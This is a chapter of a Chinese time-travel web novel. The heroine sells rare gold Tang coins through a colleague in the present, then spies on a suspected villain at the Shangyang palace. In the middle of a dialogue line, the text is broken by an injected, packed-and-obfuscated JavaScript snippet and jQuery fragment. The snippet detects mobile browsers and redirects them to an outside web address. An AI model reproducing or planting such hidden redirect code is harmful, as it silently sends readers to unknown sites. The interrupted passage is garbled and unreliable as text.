林小画循声望去,这钱币好像确实跟一般的不一样。
传世的古钱,要么包浆黑黝黝的,要么铜锈泛出青绿色。即便是仿古的新钱,也是那种深暗的黄色。可眼下这枚钱币,在包浆没有覆盖的地方,显出了明显不像铜材质的亮黄光泽。
“难道是金的?”林小画不由地兴奋起来,“快问问deepseek!”
鲁广建立马开始搜。原来整个唐朝的货币都是官方发行的“开元通宝”,前前后后有十几种版本,且存世量很大。
“这么说,还是不值钱喽?”林小画又泄了气。
鲁广建忽然心生一计:“你记得结构专业的老王吗?”
“就是那个快四十岁没结婚的男的嘛。我记得,画图可爱较真了,老被各专业投诉。”
“他玩收藏,我见过他收古钱币的。”鲁广建立马起身,对着办公室门缝狂叫老王。不一会,一个头发油光锃亮的男人,在通过看门员工的盘问之后,被放了进来。
这老王还没搞明白怎么回事,好巧不巧看到林小画的手正在穿过屏幕把玩钱币。
“妈呀,贞子来啦……”老王一口气没上来,嗷的一声晕了过去。
“靠,你这太吓人了。你先躲一边儿去,别给他看见。”鲁广建一边怪林小画,一边手忙脚乱地掐人中,才把老王给捞了回来。
“老王,你瞎嚷嚷什么呀?”鲁广建装作不知道发生什么一样。
“我,我看见鬼……”
“别扯淡!你单身太久了,老眼昏花了吧。”鲁广建赶紧转移注意力,“我给你看个‘开元通宝’。”
一看到古钱,老王这才恢复了常态。他对着灯光研究了十秒钟,蹭地一下就从地上跳了起来:“这是罕见的金开元!”
“这是纯金的?”
“对!”老王很笃定,“唐代的金质开元通宝非常罕见。目前国内只有何家村窖藏出土过几十枚,收在陕西省博物馆。而且你这个从字体看,是纯正欧阳询的书法,说明是初唐的。而何家村那一批是盛唐的,所以这几个金质开元通宝比何家村那个还值钱。”
一听到“初唐”这个断代,林小画和鲁广建更加相信老王的判断了,说明他确实是行家。
“那值多少钱?”鲁广建忍不住问出了关键。
“按现在市场行情看,普通开元通宝几十上百块就了不得了,金质开元通宝能到七八万一枚。”老王顺手颠了颠,“你这一串五枚是唐初的,估计价格还要高,总价说不定能超五十万!”
躲在暗处的林小画开心极了,要不是怕再把老王吓死,她恨不得跳个舞庆祝一下。
“老王,这么值钱的好东西,你收不?”鲁广建试探性问道。
“我是真想要啊,可我没这么多钱那!”老王纠结了一会儿,忽然反客为主,“不对,鲁总你可欠我钱,你拿这个抵账,我绝不跟你闹了。”
老王倒是一点都不客气,抬手就想拆一枚走。鲁广建眼疾手快,赶紧抢下来:“这不是我的,我得和林总商量商量。我谢谢你啊,快出去,快出去。”说罢,他就把不甘心的老王强行推了出去。
林小画探出头来:“我觉得可行哎,你要不想想办法拿这个变现?”
“这钱你不用了?”鲁广建有点拿不定主意,平常公司大事儿都是林小画拍板的。
就在这时,门外骚动起来,显然老王已经把这个消息放了出去。有人已经开始喊话鲁广建,让他拿这个抵工资,并准备闯进来了。
“就这样吧。”林小画做主了,“具体你跟他们商量个变现的办法。先把我退了,我没法直接帮你,只能靠你随机应变了。”
鲁广建还在犹豫,林小画急了:“你还想再挨一次打吗?”
这话倒是戳疼了鲁广建,他终于点头,在门被轰开的瞬间关了手机。
林小画顾不上关心老鲁了,赶紧把思维切回唐朝,这边她还得和韦弘机周旋。
考虑到现在韦弘机是第一大反派嫌疑人,林小画想离他远点。所以她也不想躲去偏账了,干脆向中郎将请辞:“两位大人,天色已晚,我等小女子在外行动不便,而且明日造桥还有诸多事务,就先告辞了。”
中郎将有点猝不及防,说好来共赢发财的,咋能扔下他一个人:“义妹,这账还没对呢?”
“对呀。”韦弘机似乎还是不想放人,“这账目我们得好好对对,对清了我才能找户部拨钱那。”
“那……那要不我们明天再来。”
“那多麻烦。而且,你们不是说很急么?这一来一去不怕耽误时间?”
林小画被戳中关键,自己也觉得前后矛盾,不知道怎么圆下去了。
“来人。”韦弘机顺势安排起来,“去把我值班那院子的厢房收拾收拾,安排几位入住。”
没办法,到了这份儿上,他们几个也只好听韦弘机的,乖乖跟了过去。
这院子其实是上阳宫角落的一处辅助用房。管事儿的为了方便值守,把这片的几个院子都收拾了,分给各队的人办公或休息用。韦弘机的这一进院落编号甲戌,是靠里最大的一个。他自己住在坐北朝南的正房,把东厢房分给了中郎将,把西厢房分给了两个女子。
林小画进了西厢房,但是却忐忑不安,没心思洗漱就寝。她看着柏娘子忙来忙去,忍不住问道:“你觉得韦侍郎这人怎么样?”
柏娘子一愣:“我也接触不多。以前做工程的时候,他来过我们工地,大多是跟着宇文侍郎一起。看着挺普通一人,没什么特别的。”
“他跟宇文侍郎真的关系很好?”
“是呀,就像今天中郎将说的,他俩既是发小又同朝为官,平常挺融洽的。”
“就没有闹过什么矛盾?”
柏娘子越看林小画越奇怪:“你是不是因为今天韦侍郎对你刨根问底,所以你也要对他刨根问底?”
“呃……”林小画被戳破心思,“我确实很烦别人追着问我身世,我又说不清楚。”
“所以你就编了是我远房亲戚的谎话?”
“是呀。”林小画半撒娇地拉着柏娘子,“柏娘子最好了,你就帮帮我,以后跟梁十三他们也都说好,就这么介绍我的来历。”
柏娘子第一次见林小画这个架势,吓得赶忙答应。她总算明白,为什么丑奴儿私下里老说林娘子神神叨叨的了。
与此同时,林小画也试图暗示柏娘子:“你不觉得韦侍郎缠得有点过分么?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15244125|166314||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“是有点。”柏娘子其实也很奇怪,“会不会你昏迷之前真的和他认识?”
“有可能,但是他为什么不明说呢?”
“我哪儿知道?”
“会不会有什么不可告人的事情?”
“你可别唬我?”柏娘子一脸惊疑。
“我本来落水就不明不白的。”林小画进一步暗示,“所以我有点怕他。”
柏娘子琢磨琢磨,似乎说得通,但是又比较勉强:“你别多想啦,明天我们早点算完钱走人,离开这个是非之地。”
林小画见柏娘子也有了防备意识,这才满意。两人又一边洗漱一边聊了些别的,哩哩啦啦又拖了大半个时辰,终于准备睡觉了。
然而,就在林小画吹灯的时候,忽然瞥见窗户上有个烛光倒映的亮点儿。她定睛一看,纸窗上竟然被戳了个洞,一只恐怖的眼睛正盯着她的脸。
“谁?”
林小画大叫一声,翻身下床,迅速打开房门冲了出去。不过还是晚了一步,只看到一个背影闪进了韦弘机的正房。
正房总共三间。此时东间灯火通明,韦弘机的身影投在窗户上,似乎在忙着批阅东西。那个黑影是从西间的窗户钻进去的,显然不是韦弘机本人。
林小画蹑手蹑脚,正准备猫过去观察情况,东间的灯火却突然灭了。
她靠到墙根,想听听动静。里面确实有两个人在说话,但都在努力压低声音,根本听不清。不过从模糊地语调里,大概听出两人是在争执。忽然,里面传出啪的一声,争执都升级到摔东西了。
林小画有点害怕了,便又蹑手蹑脚退了回去。
“什么情况?”柏娘子一遇事儿就怂,声音都有点发抖。
“有人刚才监视我们,我出去看到了。”
“那该怎么办?”
“别慌!”林小画嘴上这么说,其实心里也很紧张。她脑筋飞转,分析起了刚才看到的情况。
难道是韦弘机派的人?他这是准备对我下手了?但是,刚才偷看他们的人似乎又和韦弘机不对付,不像是他安排的。哪有手下还能和上官争执的?但是这俩人显然互相认识,争执的事情估计也和我相关。
满脑子问号的林小画,觉得还得观察观察。于是,她壮起胆子把那个窗纸的破洞捅大,反过来监视正房的动静。没过多久,正房的门微微开了一条缝。里面的人探出了半张脸,大概瞄了瞄外面没人,就迅速闪出。他小步快跑穿过院子,出院门而去。
夜色下看得不是很清楚,这人貌似是个文官打扮。
没过多久,正房东间的灯火又亮了,韦弘机的身影再次出现。不过,这一次他一动不动,像是扶额瘫坐在椅子上。
现在该怎么办?
林小画明显感觉到了危险。如果继续睡,她是断然睡不着了。她想跑路,但是又不敢。大半夜的,且不知那人在不在外面守株待兔。就算不在,她们跑了也没法赶夜路。这可不是现代,到处柏油马路加路灯。唐朝的野外可是真的很野,又黑又危险。
就在她一筹莫展的时候,对面传来了一声响亮的哈欠。中郎将那边的灯也亮着,看来他还没睡。
林小画眉头一皱,计上心来。